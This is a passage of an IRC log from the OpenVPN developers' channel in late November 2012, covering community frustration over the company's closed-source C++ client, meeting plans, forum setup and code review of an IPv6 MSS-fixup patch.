they're not too talkative 06:12 <@mattock_> which annoys me quite a bit 06:12 <@cron2> understandable 06:13 <@mattock_> anyways, James though the C++ (client) fork was the least bad option, community-vise 06:14 <@mattock_> still, I fails to see why Access Server is still using the old 2.1.x codebase which is lacking support for lots of useful stuff (i.e. IPv6) 06:14 <@cron2> "too busy with doing the client fork all on his own"? 06:14 <@mattock_> I invited him to participate in the 2.4 "cleanup party" but as we know, he's always swamped 06:14 <@mattock_> yes, exactly :D 06:15 * cron2 thinks we need a get-together with the openvpn tech people some day, with lots of alcohol and good food, and sort out all these electronic misunderstanding 06:15 <@mattock_> that'd be a good idea definitely 06:16 <@mattock_> they're all very in person, it's just that lack of good communication tends to breed mistrust 06:16 <@mattock_> very nice 06:25 <@dazo> mattock_: Google Play does not have GPL restrictions (otherwise plaisthos's client wouldn't be there) ... for Apple (and plausibly Windows) that's a reason indeed. However, that doesn't mean that they can dual license things, where Apple version uses the restrictive license, Google Play the permissive one 06:25 <@dazo> and making the client code a shared library 06:26 <@mattock_> you mean "that doesn't mean that they _can't_ dual license"? 06:26 <@mattock_> i.e. they could dual-license? 06:26 <@dazo> yeah, that's what I meant 06:26 * dazo fingers doesn't always type what my mind wants to express .... might need replacement parts ;-) 06:26 <@mattock_> yeah, I guess so 06:26 <@mattock_> :D 06:28 <@mattock_> also, I said to James that trying to aim for _current_ Appstore policies might not be wise, as they're bound to change 06:28 <@dazo> But the biggest issue here is that they don't communicate with the community at all ... you're the only one with the official OpenVPN company voice 06:28 <@mattock_> yeah, and unfortunately I have trouble establishing communication with the other people in the company 06:29 <@mattock_> unfortunately it's "me + the community" <-> "others in the company" with a wall in between 06:30 <@mattock_> there's really no point in keeping it that way, but I can only say what'd be wise to do, not force them 06:32 <@mattock_> the problem with the C++ fork (and not open sourcing it) is that it's an entirely new and fairly untested codebase, James has to do all the work/fixing and he can't expect good bug reports from users 06:33 <@mattock_> I said to him that he should keep the implementation as small as possible, or he'll be in trouble (both community- and maintenance-vise) 06:39 <@dazo> absolutely 06:40 <@dazo> but cron2's suggestion, having some kind of meeting somewhere with us who are active in the community does indeed make sense 06:40 <@mattock_> yes, I would suggest FOSDEM 06:40 <@dazo> I'm thinking that FOSDEM would be an appropriate meeting point ... however, that's a "long" time to wait 06:40 <@mattock_> beat you to it :D 06:41 <@dazo> heh, yeah 06:42 <@mattock_> well, I can tell you that all this mess has been brewing for the whole time I've worked with OpenVPN... so personally I think waiting a few months is ok-ish :) 06:42 <@mattock_> it's not like something in openvpn tech approach has magically changed overnight 06:42 <@dazo> agreed, but now it's bubbling to the surface, as they've released binary work 06:43 <@mattock_> yeah, true 06:44 <@mattock_> what if we arrange an IRC meeting with the company to sort things out, then (if at all possible), meet in person in FOSDEM? 06:44 <@mattock_> i.e. put band-aid to stop the bleeding and try to fix things for good in FOSDEM? 06:45 <@dazo> agreed ... but IRC without FOSDEM will be a waste of our time ... so I need to be sure there's a real commitment 06:45 <@dazo> The only commitment they've shown is that they've hired you to do some of this community work 06:46 <@mattock_> yep, and some smaller things here and there... but it's been fairly minimal 06:46 <@dazo> but at the same time, releasing more closed source code than being visible in the community (from a dev point of view) 06:48 <@mattock_> I think the problem is tied tightly to personalities... there are not that many people in OpenVPN Tech, the only hardcore coder in OpenVPN Tech (afaik) is James... and he has a tendency to "go undercover" for days 06:48 <@mattock_> i.e. even they guys at the company can't contact him (landline detached, no cellphone, no answer to emails etc.) 06:48 <@dazo> well, that's true ... but not necessarily a bad thing ... but then not providing results back to the community is bad 06:48 <@mattock_> which is kind of funny in a non-funny way :) 06:49 <@mattock_> yep 06:49 <@cron2> actually paying mattock is a pretty big contribution to the community work, for such a small company... 06:49 <@dazo> in fact, what is the OpenVPN community now is a fork .... the only missing thing is a name change to separate us formally from the company 06:50 <@mattock_> provided that the C++ fork is really _needed_, then I'd prefer to see it open sourced, dual-licensed and require contributor agreements 06:50 <@mattock_> better than a fully proprietary fork 06:50 <@mattock_> dazo: very true, it's been that ever since the beginning (of my openvpn tech career) 06:50 <@dazo> cron2: I don't want to minimise the work of mattock_, he's done great work there ... but how I see it, it's just a buy-in so that the OpenVPN project represents the company indirectly 06:51 <@mattock_> dazo: I have to agree 06:51 <@cron2> dazo: yeah, far from perfect 06:52 <@mattock_> I'm smelling yet another crisis, and I probably have to play the fork card again... I think you guys make perfect sense 06:53 <@dazo> mattock_: regarding contributor agreements ... it's only one reason to have that ... so that the company owns the copyright and can re-license it at will without much bothering 06:53 <@mattock_> yep, relicensing was the main motivator afaik, but that's ok with contributor agreements 06:53 <@dazo> or make it BSD license 06:53 <@cron2> dazo: this is problematic, but if you have to fight realities like Apple, there's no "perfectly clean all-open-source" solution... 06:53 <@mattock_> I wouldn't expect many contributions, but a few is better than zero, plus bug reports would be better 06:54 <@cron2> GPL zealots might consider BSD not open enough :) 06:54 <@mattock_> and vice versa 06:54 <@cron2> true 06:54 <@dazo> cron2: yeah agreed 06:55 <@mattock_> actually, I only learned about the C++ version after it was released, so that's how well the communication flows to my direction 06:55 <@dazo> :) 06:55 <@dazo> we're on an island with an OpenVPN flag .... 06:56 <@mattock_> yep, good analogy 06:56 <@mattock_> occasionally a bottle with a message might get stranded 06:56 <@mattock_> but only occasionally :P 06:56 <@dazo> :) 06:57 <@cron2> there's another island nearby, which also has an OpenVPN flag... :-) 06:58 <@mattock_> anyways, I think I'll write yet another "what is our long-term strategy with openvpn (OSS) mail" today 06:58 <@mattock_> and also strongly encourage them to accept the invitation to IRC meeting + FOSDEM 06:58 <@dazo> makes sense ... and sorry that you need to spend time on this crap ... but, I think we're forced to do that now 06:59 <@dazo> and make it clear that IRC only won't cut it ... at least not for me 06:59 <@mattock_> these things raise my blood pressure, granted 06:59 <@mattock_> I agree that a proper show of commitment is in order 06:59 <@mattock_> even if it costs a few thousand bucks 07:00 <@dazo> considering the time we (the community) have spent improving openvpn ... absolutely! 07:03 * dazo goes for lunch 07:04 <@mattock_> dazo: in fact, I thought you knew about the C++ client and was surprised how well you took it :P 07:06 <@cron2> well, I had some suspicions given that they continued to develop the Android client while plaisthos' client did all everybody needed already :-) - and then there's the rumours about the iOS client (and thrown together, it made sense to then just finish the Android client) 07:15 < plaisthos> To be honest teh openvpn connect android client is older than my client 07:15 < plaisthos> I only learned of it after I build my client 07:15 <@mattock_> yep, I think it is 07:15 < plaisthos> There was no client in the market so I began developing my own 07:15 <@cron2> but it wasn't released, just "beta", if I remember right 07:15 < plaisthos> yes 07:16 < plaisthos> in the openvpn forums there is/was a obscure link to it 07:30 < plaisthos> 07:33 <@mattock_> just checked... Access Server is using OpenVPN 2.1.19, i.e. James own SVN tree which lacks almost all the stuff that's in 2.3 07:52 <@dazo> mattock_: In retrospect I should have understood something was in planning even 18 months ago ... as James asked about my opinions about both boost and C++ 07:52 <@mattock_> ah yes 07:52 <@mattock_> I remember that 07:52 <@dazo> but I thought that was related to v3 stuff 07:53 <@mattock_> I think that was my conclusion, too, at that point 07:53 <@dazo> otherwise, a brand new client came as a surprise 07:53 <@mattock_> my "crisis mail" is about 75% complete :) 07:54 <@dazo> OpenVPN Tech is completely free to do whatever they want .... but they are no longer an open source company in my eyes 07:54 <@mattock_> yep, looking from the outside that's the conclusion 07:54 <@mattock_> and I'm almost as much on the outside as you are 07:55 <@dazo> which is kind of scary! :) 07:55 <@mattock_> yes 07:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 07:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:19 <@mattock_> dazo: I'll email you the finished crisis mail... please read and comment 08:40 <@dazo> mattock_: did you send it? 08:40 <@mattock_> not yet 08:40 <@mattock_> soon 08:40 <@mattock_> :) 08:40 <@dazo> okay ... that explains I didn't see it yet :) 08:47 <@mattock_> ok, sent 08:47 <@mattock_> it's good enough, and long enough :) 09:06 * cron2 waits for the smoke to clear 09:11 <@dazo> mattock_: I've read it through once ... and I don't have anything to say ... it is really well written ... but I'll give it another round as well 09:11 <@mattock_> ok 09:15 <@dazo> mattock_: see PM 10:07 <@mattock_> mail sent, let's see what happens 10:19 <@dazo> :) 10:34 * krzee gets a helmet 10:50 -!- dazo is now known as dazo_afk 12:56 <@mattock_> mmm, it's Thanksgiving in the States 13:22 <+krzee> yep, im thankful for people finally starting to wakeup and turn off their TVs 13:59 <+krzee> plaisthos, you must have updated the ovpn client since i last used it, i must say its a pleasure to use 13:59 <+krzee> it auto-imported all my certs and everything! 13:59 <+krzee> even the tls-auth! 14:01 <+krzee> it made them all in-line, its literally import and 0touch 14:02 <+krzee> <-- impressed 14:02 <+krzee> no wonder i get very very few questions regarding its usage 15:18 <@cron2> inline configs are way great anyway 15:18 <+krzee> totally 15:19 <+krzee> his program saw my config options for --ca/--cert/--tls-auth/--key and it changed them to all be inline, on its own 15:19 <+krzee> which is majorly great! 15:19 <+krzee> i literally clicked import, and was done 15:19 <+krzee> i looked for options to change (last time i used it i needed to manually do stuff) but everything was correct! 15:26 -!- dazo_afk is now known as dazo 15:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 17:55 -!- dazo is now known as dazo_afk 21:34 * ecrist reads backlog 21:34 <@ecrist> *grumble* 21:34 <@ecrist> mattock_: ping 21:36 <@ecrist> also, dazo ping 22:11 <@ecrist> mattock_: I'll work in the forum changes in a bit 22:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:27 <@ecrist> hey krzee 22:28 <+krzee> heyhey 22:58 <@ecrist> mattock_: your new forums are up, things have been reorganized a bit 23:03 <@ecrist> krzee: take a peek at the forum index for me, tell me what you think 23:07 <+krzee> i wonder if people will be able to figure out that theres an opensource android too 23:08 <+krzee> i havnt tried openvpn connect, but i have a hard time imaging it could be better than the community version, which ROCKS 23:08 <+krzee> (i used it today on a galaxy tab) 23:25 <@ecrist> I'll talk to plaisthos tomorrow, maybe. If he wants a forum up, I'll set it up for him 23:31 <+krzee> probably not even needed tho 23:31 <+krzee> i cant imagine any help being needed for that version, you import a working config and poof its done! 23:32 <+krzee> it even changes all files outside of the config to be in-line 23:32 <+krzee> you use android? 23:32 <@ecrist> yes, i've never bothered to set it up 23:33 <+krzee> only thing i dont like (totally not his fault) is that you cant run scripts as root from it 23:36 <@ecrist> I'm going to poof. TV time and then bed. 23:37 <+krzee> right on me too i think 23:37 <+krzee> gotta work on the storyboard for an animation for my company --- Day changed Fri Nov 23 2012 03:44 -!- dazo_afk is now known as dazo 06:42 <@mattock_> ecrist: thanks for settings up the forums! 07:01 <@ecrist> no problem 07:01 <@ecrist> btw, I also finally got around to setting up backups for community and ldap hosts 07:01 <@ecrist> I know you're doing those, as well 07:02 <@ecrist> are you, per chance, dumping the ldap directory to flat-file with slapcat at this point? 07:03 <@ecrist> and, are you OK with how the new forum index is layed out? 07:12 <@ecrist> mattock_: ^^ 07:46 <@mattock_> ecrist: slapcat: yes 07:47 <@mattock_> should be in /var/backups/<something-cant-recall> 07:47 <@ecrist> ok, good 07:47 <@mattock_> crisis mail did have it's effect, good 07:48 <@mattock_> I think we can arrange an IRC meeting next week, and James@FOSDEM is also looking good 07:49 <@ecrist> what sort of affect/response? 07:49 <@mattock_> "we definitely need to fix this" 07:49 <@mattock_> along those lines 07:50 <@ecrist> the only appropriate answer, really 07:50 <@mattock_> I'll try to arrange the meeting at the usual time next Thursday 07:51 <@mattock_> yes, the problem (i.e. division between community + me and company) very clear 07:51 <@mattock_> it does not make any sense for anyone 07:52 <@cron2> mattock: great 07:52 <@ecrist> it's really not like we (the community) are difficult to work with. quite the contrary, we're easy to work with and DESIRE a positive symbiotic relationship with corp 07:52 <@mattock_> yes, exactly 07:52 <@mattock_> the community _needs_ to be open to work at all, whereas a company does not 07:52 <@mattock_> it's a cultural thing within the company 07:52 <@mattock_> i.e. the culture needs to be fixed 07:53 <@mattock_> to be more open 07:54 <@dazo> mattock_: great! 07:54 <@mattock_> thursday 18:00 UTC ok for everyone? 07:55 <@dazo> mattock_: works for me! 07:55 <@ecrist> I can't be there 07:55 <@ecrist> but, I'll see the IRC logs 07:55 <@dazo> krzee: ^^ 07:58 <@mattock_> ok, sent mail to James 07:58 <@mattock_> I hope this forces the company to work more closely with you guys 07:58 <@mattock_> clearly there's no option, but old habits die slowly 07:58 <@ecrist> I'd rather it wasn't "forced" and the company would just see an honest benefit to doing so 07:58 <@dazo> exactly 07:59 <@ecrist> being forced would simply breed resentment 07:59 <@ecrist> that's not productive 08:00 <@mattock_> yes, correct 08:00 <@mattock_> "forces them to see the light", then :) 08:00 <@ecrist> better. 08:01 <@dazo> mattock_: but I hope it's not james who will arrive in that meeting ... as he is not the real problem now 08:01 <@dazo> not just james 08:02 <@mattock_> dazo: I have to agree, yes 08:02 <@mattock_> although I think big part of the issue is that James has the "I prefer to work in a bunker" mentality :) 08:03 <@mattock_> I'll ask if Francis would also join 08:03 <@mattock_> actually, why not all of them while we're at it 08:04 <@dazo> mattock_: I see the choice to not open source AS, Connect, the C++ client, etc, etc ... that's strategic decisions - not so much related to James' "bunker work" 08:05 <@mattock_> yes, true, but the lack of (development) co-operation may be (mostly) his fault 08:05 <@mattock_> also, we'll be discussing open sourcing the C++ thingy 08:05 <@mattock_> there's really no really compelling reason to keep it closed, it's just details 08:05 <@mattock_> that need to be figured out 08:06 <@dazo> agreed 08:11 <@cron2> mattock_: wfm (1800 utc, 1900 local time). I might be a bit late due to "singing to child" (don't ask for audio) 08:11 <@mattock_> audio, audio, audio! 08:12 <@cron2> nah, that's banned as weapon of mass deafening 08:12 <@mattock_> doesn't that mean $child has/will have hearing problem? :P 08:13 <@cron2> children are immune to parent's bad singing, it seems 08:13 <@mattock_> ah, good 08:19 <@mattock_> asked all company guys to attend the meeting 08:19 <@mattock_> I'll try to arrange such company<->community meetings on a regular basis 08:22 <@ecrist> even quarterly meetings would be an improvement over what we have now 08:34 <@ecrist> mattock_: are there any other community servers I should be backing up I might be missing? 08:45 <@dazo> quarterly meetings would a good start ... don't think they need to be all too regular, if there are some information flow (mails/blogs/updates on irc) 09:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 10:09 < plaisthos> ecrist: I have no strong opnion about a forum. I think people will still directly mail me or write in the google code issue tracker. And for non openvpn for android specific issues. I usally suggest that they should a working config and ask on openvpn-users for generic openvpn questions 10:11 < plaisthos> And I answer 90% of all question now with poiting to my own FAQ 10:12 < plaisthos> (of the android specific questions) 10:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:16 <+krzee> ill be at the meeting, thanks for the ping 10:31 <@ecrist> plaisthos: are you ever on the forum? 10:32 <@ecrist> if we're going to adopt it as the 'official' community client, we might want a forum section, but it won't do much good if you're never there 10:46 <+krzee> hes shown up on the android thread before, thats how he ended up here iirc 10:46 <+krzee> dunno bout frequency tho 11:26 -!- dazo is now known as dazo_afk --- Day changed Sat Nov 24 2012 03:33 < plaisthos> ecrist: If I can get like a email notification if there is a new ost in the forum/a replay I will probably post that should be fine. But I don't like checking every other day to see if there is something new 05:58 <@vpnHelper> RSS Update - tickets: #240: auth-user-pass-verify via-env does not work <https://community.openvpn.net/openvpn/ticket/240> 09:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:40 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:52 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 14:53 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:43 <+krzee> a user just spent a day trying to get "openvpn connect" working, now on his first try "openvpn for android" just worked 16:43 <+krzee> lol 16:43 <+krzee> [18:42] <aoeui> does he accept donations? 16:43 <+krzee> [18:43] <aoeui> heh yeah he deserves a few bucks 16:43 <+krzee> a user complained that openvpn for android is free, he would like to get some donation $ to you plaisthos 16:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 19:23 -!- Netsplit *.net <-> *.split quits: @andj 19:23 -!- Netsplit over, joins: andj 19:23 -!- mode/#openvpn-devel [+o andj] by ChanServ 21:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:47 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] --- Log closed Sun Nov 25 00:01:37 2012 --- Log opened Mon Nov 26 12:15:04 2012 12:15 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 12:15 -!- Irssi: #openvpn-devel: Total of 12 nicks [7 ops, 0 halfops, 0 voices, 5 normal] 12:15 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 12:15 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 12:23 <@andj> plaisthos: thanks for the heads up 12:34 <@cron2> dazo: the move of action_flags into the if() is "just because it is only used in there now", right? This has nothing to do with the recursion? 12:34 <@dazo> yes, correct 12:35 <@cron2> so basically what the patch does is "move everything that *could* be done here" inside the if(!recursive) block, right? 12:36 <@cron2> well 12:36 <@dazo> cron2: correct ... which "blocks" virtual_output_callback_func() to be called recursively before it has completed what it just did 12:37 * cron2 is a fan of "quick exit" calls (if (recursive) { return; } instead of indenting the whole function...) but I think it's fine technically 12:37 <@dazo> that particular virtual_output_callback_func() is only used (iirc) by the management interface ... so it should complete what it does, before getting called again 12:37 <@dazo> yeah, that's a good point :) 12:38 <@cron2> but that would have made the patch much bigger and more scary :-) 12:38 <@dazo> heh, also true :) I changed as little as I could ... trying to make it look more sensible :) 12:39 <@dazo> that whole management socket write code is scary ... so we will need to revisit this again later anyway 12:39 <@cron2> haha, I keep hearing scary all over again :-) - if we had all known that, I think nobody would have started touching openvpn :)) 12:40 <@dazo> you know ... kids are scared by people with a different skin colour ... when you're used to multikulti ... you go other places to get scared ;-) 13:00 <@cron2> plaisthos: operator precedence of "&" sucks big time :-) 13:41 -!- dazo is now known as dazo_afk 13:43 < plaisthos> andj: no problem 14:01 -!- Netsplit *.net <-> *.split quits: @mattock_ 14:40 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 14:55 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:57 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 16:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:37 -!- raidz is now known as raidz_afk 21:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: brb from home] 21:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:06 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Nov 27 2012 03:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 03:44 -!- dazo_afk is now known as dazo 04:48 <@cron2> dazo: lots of work in your queue now :) 04:48 <@dazo> cron2: yeah :) 04:49 <@dazo> I'll poke at it after this Thursday :) 04:49 <@dazo> (but 4 patches tagged as "ACKed" in my mailbox) 04:50 <@cron2> only 4? that's all mine... lazy bastards... 04:51 <@dazo> well, there's another 73 which are tagged "TODO" :-P ... but that's mostly a lot of cleanup stuff ... but I think most of it has been processed indirectly 04:51 <@cron2> hrhr :) 04:52 <@dazo> 12 TAP-windows ... some easy-rsa patches and tun cleanups ....16 syshead cleanups .... it adds up fast :) 04:52 <@cron2> oh, *that* stuff... 04:53 <@dazo> yeah ... some of it isn't relevant for the openvpn.git tree any more even ... 04:54 <@dazo> so it's a lot in the pipe for 2.4 :) 05:13 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:21 < plaisthos> should I increase your patch queue? :) 05:21 < plaisthos> and send my socket.c patches? 05:28 <@dazo> plaisthos: if you have something which is ready to be reviewed, then please unleash them :) 05:28 <@dazo> plaisthos: it'll give cron2 something to too :-P 05:28 <@dazo> to do* 06:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:29 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:38 < plaisthos> Will try to split the big patch then into smaller patches (if possible and send it to the mailing this week 06:44 <@dazo> plaisthos: cool! 07:12 * cron2 has enough to do... there's still a fragment bug outstanding wrt IPv6, I think... 07:23 < plaisthos> that pmtu for ipv6 is broken over openvpn? 07:29 < plaisthos> does anyone have a setup or know of someone having a udp setup where both openvpn instances are clients and server? 07:29 < plaisthos> i.e. both trying to establish the connection? 07:41 <@cron2> plaisthos: I'm not exactly sure what is broken, and under which circumstances. It seems to need a) less-than-1500 byte external IPv4 MTU, b) large IPv6 packets *in* the tunnel that cannot be compressed (ssh), plus c) drop of IPv4 fragments 07:42 * cron2 hopes to be able to setup a test rig tomorrow, and then figure out what is happening 07:42 <@cron2> (and why IPv4 seems to be not affected, without having anything special configured) 07:52 < plaisthos> hm 07:52 < plaisthos> strange 08:13 <@cron2> that's what I thought :-) - first time I ever had issues, but it broke ssh, so it needs fixing 08:23 < plaisthos> krzee: saw your comment about donating. Since I hate when apps remind me at every opportunity about donating I only added a small PayPal link the in about screen of the app and to the footnotes of http://code.google.com/p/ics-openvpn/ 08:23 <@vpnHelper> Title: ics-openvpn - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 08:23 < plaisthos> The app had no donation at first but people asked me about donating so I added a link 08:28 <@cron2> "If people *insist* on giving me money, I'm not fighting them!" :-) 08:29 <+krzee> oh nice ill make note of that next time 08:37 < plaisthos> cron2: yeah :) 10:33 <@andj> plaisthos: did you see the external key client plaisthos sent you? 10:33 <@andj> erm, I meant Joachim 10:39 < plaisthos> andj: yes, thanks 10:39 < plaisthos> I havn't had time to look at it 11:02 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 11:11 -!- dazo is now known as dazo_afk 11:24 -!- raidz_afk is now known as raidz 13:02 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 13:03 < novaflash> hey guys just a quick question: where's the best place to go to report a bug with 2.3rc1? 13:47 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:22 -!- dazo_afk is now known as dazo 15:25 -!- raidz is now known as raidz_afk 15:26 -!- raidz_afk is now known as raidz 17:14 < plaisthos> the issues tracker 17:16 < plaisthos> if the issue is small you can also describe it here. 17:17 < plaisthos> sometimes one of the developers knows how to fix it 17:27 <@dazo> novaflash: https://community.openvpn.net/openvpn/newticket ... but you need to be logged in to gain access to that one 17:28 <@dazo> (we don't want anonymous reports, as it's a hassle to look at things if we cant get in touch with the submitter to clarify details or ask them to test things) 18:49 -!- dazo is now known as dazo_afk 19:08 -!- raidz is now known as raidz_afk 22:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:20 <@vpnHelper> RSS Update - tickets: #241: Cannot connect after restart if adapter settings in OemWin2k are hidden (0x89) <https://community.openvpn.net/openvpn/ticket/241> --- Day changed Wed Nov 28 2012 03:16 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:16 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 04:14 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 04:42 -!- dazo_afk is now known as dazo 04:53 <@dazo> mattock_: can you please have a look at trac ticket #241? 07:51 <@mattock_> yep, tomorrow 07:52 <@mattock_> just sent the meeting invitation 08:13 < plaisthos> 18 UTC is 19 CET, right? 08:14 <@dazo> plaisthos: correct 10:06 -!- selva [~selva@scala.nanotech.utoronto.ca] has joined #openvpn-devel 10:08 -!- selva [~selva@scala.nanotech.utoronto.ca] has quit [Client Quit] 11:32 -!- raidz_afk is now known as raidz 11:50 -!- dazo is now known as dazo_afk 12:37 -!- selva [~selva@scala.nanotech.utoronto.ca] has joined #openvpn-devel 12:38 -!- selva [~selva@scala.nanotech.utoronto.ca] has quit [Client Quit] 13:11 -!- GreenAsh [~GreenAsh@46.146.228.76] has joined #openvpn-devel 13:12 -!- GreenAsh [~GreenAsh@46.146.228.76] has quit [Client Quit] 13:51 <@cron2> oh, intersting 13:52 <@cron2> UDP packet size in OpenVPN jumps in steps of 8, not "linear with size of input packet" (compression turned off, of course, I'm trying to pinpoint fragmentation issues and random compression gains don't help there) 15:11 <@cron2> gaaahhh... and --fragment nn changes encapsulated packets in an incompatible way, so must be set on both sides 15:13 <@cron2> ... and does funny things to my packets... 15:17 <@cron2> aw shit... the reason why some of my users with broken routers have no issue with IPv4, but see issues with IPv6 is mssfix - which only does IPv4 so far 15:17 <@cron2> *sigh* 15:35 <@cron2> to implement that for IPv6 is... work, and intrusive, and we're a bit late in the 2.3 release process :-/ 19:01 -!- raidz is now known as raidz_afk --- Day changed Thu Nov 29 2012 00:51 < plaisthos> I will probably not be able to join at 18 CET :/ 00:51 < plaisthos> I will try to get here at 19 CET though 00:52 < plaisthos> aeh 00:52 < plaisthos> replace CET with UTC 02:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:05 <@mattock_> plaisthos: looking at the agenda, I'm fairly sure we'll still have something to discuss @19:00 UTC :) 03:10 < plaisthos> heh 03:13 * cron2 is likely to be a bit late, too - but more like 18:15 UTC (1800 is "older daughter in bed" time, and that can shift a few minutes back or forth, depending on which side has won the "brush your teeth, go to bed, now!" fight before that) 03:16 * krzee roots for cron2 04:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 04:15 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 240 seconds] 05:26 <@andj> Unfortunately, I won't make it this evening... 06:27 -!- dazo_afk is now known as dazo 07:26 <@cron2> dazo: meh 07:27 <@cron2> I'd like to have the error message actually tell that the *write* call failed, but if we add that, the message starts getting unwieldy long... 07:27 <@cron2> so I'm (as usual) of two minds on this... 07:28 <@dazo> I can agree to that ... this was also a kind of compromise to make it user friendly ('user' as in those who don't read code) 07:29 <@dazo> but it's also unique enough, so you can do 'git grep $errmsg' ... and find the places these errors appears 07:29 * dazo considered just the string: get_default_gateway() failed 07:29 <@dazo> but thought that would be too technical for users 07:51 <@cron2> yeah... 08:49 < plaisthos> Error 2732312 in module 13 08:51 <@cron2> dazo, plaisthos: could you have a look at http://public.greenie.net/gert/misc/ipv6-mss-diff1.txt, before I commit and send to the list? 08:51 <@cron2> this is "extend IPv4 TCP MSS fixup to IPv6"... 08:51 <@cron2> (there's a few msg() left in the code that will get removed, it's more the general idea of renaming stuff like "process_ipv4_header()" to "process_ip_header()", instead of duplicating to process_ipv6_header(), etc. 08:52 <@dazo> cron2: PIPV4_MSSFIX ... is that defined in openvpn ... or outside? 08:53 <@cron2> proto.h 08:53 <@cron2> that's just a flag "hey, function, we expect you to do *this* now!" 08:53 <@cron2> ... a bit superfluous, as all callers always set PIPV4_MSSFIX... but some of the other arguments vary 08:54 <@cron2> ah, no, multi.c doesn't set MSSFIX for broadcast/multicast packets 08:54 <@dazo> but you consider that flag in the IPv6 stack now too, right? 08:55 <@cron2> yes 08:55 <@cron2> we could rename that flag to be PIP_MSSFIX, but I wonder where I'm going to stop with that... 08:56 <@dazo> just being pedantic (because I'm finally on the other side of the table for once :-P) ... but that my thought, yes :) 08:56 <@dazo> git grep PIPV4_MSSFIX 08:56 <@cron2> forward.h 08:56 <@cron2> #define PIPV4_PASSTOS (1<<0) 08:56 <@cron2> #define PIPV4_MSSFIX (1<<1) 08:56 <@cron2> #define PIPV4_OUTGOING (1<<2) 08:56 <@cron2> ... 08:57 <@dazo> hmm ... I see 08:57 <@cron2> I do not think that separating IPv4-mssfix and IPv6-mssfix makes any sense (as in "I could not imagine a situation where I'd need only one, and not the other)... 08:57 <@dazo> are some of them IPv4 only? 08:57 <@dazo> yeah exactly 08:58 <@cron2> all the others are IPv4-only today - no PASSTOS, NAT or EXTRACT_DHC_ROUTER for IPv6 today 08:58 <@dazo> (IPv4-only ... the other PIPV4_* flags) 08:58 <@cron2> ok, I see the point, and rename PIPV4_MSSFIX to PIP_MSSFIX 08:58 <@cron2> or should that be V4V6? 08:59 <@dazo> yeah ... I think that makes sense .... nah, just do PIP_MSSFIX ... I think that's clear enough 09:00 < plaisthos> from my look the patch looks good 09:00 < plaisthos> but had not time to test it 09:01 <@dazo> hmmm 09:01 <@dazo> + if ( pip6->nexthdr != OPENVPN_IPPROTO_TCP ) 09:01 <@dazo> + return; 09:01 <@dazo> OPENVPN_IPPROTO_TCP ... is that the socket layer between server and client? 09:02 <@cron2> no, that's the real hard IPv6 header 09:02 <@dazo> inside the tunnel? 09:02 <@cron2> yes 09:02 <@cron2> the #define only exists because 